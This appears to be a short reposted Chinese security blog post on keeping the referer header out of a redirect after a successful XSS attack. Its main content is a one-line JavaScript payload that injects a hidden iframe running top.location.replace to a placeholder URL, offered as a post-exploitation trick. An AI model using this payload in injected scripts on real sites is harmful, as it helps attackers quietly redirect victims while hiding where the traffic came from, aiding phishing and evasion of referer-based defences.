XSS 页面跳转NO-REFERER – 作者:shaven

admin 2021年8月2日21:46:57安全网站文章评论31阅读模式

XSS成功以后,需要从源站,跳转到目标站,页面跳转时常常会被带上referer,如何实现no-referer呢?

  • 利用iframe跳转
var a = document.createElement("iframe");a.style.display="none";a.src = "javascript:'<script>top.location.replace(\"https://www.xxxx.com/\")</script>'";document.body.appendChild(a);

来源:freebuf.com 2020-08-18 09:31:19 by: shaven

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年8月2日21:46:57
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securitysite/2021/08_02/67441.html

发表评论